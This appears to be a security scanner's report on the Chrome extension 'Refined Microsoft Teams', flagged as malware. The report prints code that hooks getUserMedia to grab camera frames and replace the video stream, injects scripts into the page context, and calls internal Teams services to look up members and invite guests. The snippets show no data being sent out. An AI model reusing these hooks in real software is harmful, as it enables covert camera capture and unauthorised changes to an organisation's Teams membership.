Security Alert: Confirmed Malware
Refined Microsoft Teams
ID: bipffdldhfhcecjhcgklheahpkocojfk
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- samberView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
Microsoft Teams, but better
Need a more compact view of channels and teams ? Need to add 100+ people in a channel, *manually* ? Features: - Bulk insert users into a Team (members and guests) - Display teams and channels on 2 columns (optional) - Merge "General" channel into the Team name, if it is alone in a Team (optional) For the 2-columns display, you need to switch from the "Grid" to the "List" view. Contribute: https://github.com/samber/refined-microsoft-teams
This code monkey-patches `navigator.mediaDevices.getUserMedia` and the legacy `navigator.webkitGetUserMedia` by replacing them with wrapper functions that intercept every call. On Microsoft Teams, these APIs are used for all camera/microphone access during video calls, meaning every video call the user makes is intercepted by this extension before the stream reaches Teams.
var hookNativeFunc = function(o, e, t, n) { console.log("Adding hook to " + o), t[o] = function() { for (var r = arguments.length, a = new Array(r), c = 0; c < r; c++) a[c] = arguments[c]; return console.log("".concat(o, "(").concat(a, ") hooked!")), n(e.call.apply(e, [t].concat(a))) } }, hookNativeFuncFuture = function(o, e, t, n, r) { console.log("Adding hook to " + o), t[o] = function() { for (var a = arguments.length, c = new Array(a), i = 0; i < a; i++) c[i] = arguments[i]; return console.log("".concat(o, "(").concat(c, ") hooked!")), new Promise(function(o, a) { return e.call.apply(e, [t].concat(c)) .then(function() { for (var e = arguments.length, t = new Array(e), r = 0; r < e; r++) t[r] = arguments[r]; return n.apply(void 0, t.concat([o])) })["catch"](function() { for (var o = arguments.length, e = new Array(o), t = 0; t < o; t++) e[t] = arguments[t]; return r.apply(void 0, e.concat([a])) }) }) } },When a video stream is obtained (e.g., during a Teams call), `hookSuccess1` intercepts the real MediaStream, uses `ImageCapture.grabFrame()` to silently capture a still frame from the user's camera, draws it onto a hidden canvas, and then substitutes the real stream with a `captureStream()` from that canvas. This is a covert video frame capture that occurs without user awareness every time a Teams video call is started. The `console.log("frame", o)` and `@@@@@@@@@@` markers are residual debug artifacts consistent with active development of this spyware capability.
hookSuccess1 = function(o, e) { var t = o.getVideoTracks(); if (!t || 1 != t.length) return e(o); var n = t[0], r = document.createElement("canvas"); r.width = o.width, r.height = o.height, r.width = 500, r.height = 500; var a = r.getContext(2 d "), c = new ImageCapture(n), i = (c.grabFrame() .then(function(o) { r.width = o.width, r.height = o.height, a.drawImage(o, 0, 0), console.log("frame", o) }), r.captureStream()); return console.log(i), i.onremovetrack = function() { clearInterval(timer), o.getTracks() .forEach(function(o) { o.stop() }), console.log("@@@@@@@@@@") }, e(i) }, hookNativeFuncFuture("getUserMedia", navigator.mediaDevices.getUserMedia, navigator.mediaDevices, hookSuccess1, hookFailure1); hookDeprectatedGetUserMedia("webkitGetUserMedia", navigator.webkitGetUserMedia, navigator, hookSuccess1, hookFailure1);The content script uses `loadJS()` to dynamically inject extension scripts directly into the Teams page DOM as `<script>` elements, bypassing the content script sandbox. This grants injected code full access to the page's JavaScript context — including Angular services, internal Teams APIs, and any credentials/tokens held in memory — rather than the isolated content script environment.
function loadJS(e) { var o = document.createElement("script"); o.src = crossPlatformBrowser.runtime.getURL(e), o.onload = function() { this.remove() }, (document.head || document.documentElement) .appendChild(o)}...loadJS("scripts/bulk-add-team-members.js");This code accesses internal Angular services (`peopleService`, `teamMembershipService`, `channelService`) by directly calling `window.angular.element(document.body).injector().get()` — an internal Teams API that was never intended for external use. It can silently invite arbitrary guest users to the victim's Teams organization and enumerate tenant members. While the UI exposes a textarea for input, the same code path runs from the injected context and could be triggered programmatically.
function getMemberFromTenant(e) { var n = window.angular.element(document.body) .injector() .get("peopleService"); return n.searchPeopleOnServer(e) .then(function(n) { return n && n.results && n.results.length > 0 ? n.results[0] : (addMsg("User not found: " + e), null) })["catch"](function(e) { return null })}function inviteGuestToTenant(e) { var n = window.angular.element(document.body) .injector() .get("teamMembershipService"), t = window.angular.element(document.body) .injector() .get("channelService"), r = t.getCurrentTeamAndChannel().team; return n.inviteUserToTeam(e, e, r, "Guest") .then(function(n) { if (null == n.invitedMember) throw "Failed to invite user"; return addMsg("Invited guest to team: " + e), n.invitedMember })By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.3.7 | 4 |
Files with findings
3 distinct paths — top paths by unique finding count:
- scripts/multitenant-panel.js2
- scripts/bulk-add-team-members.js1
- scripts/injector.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.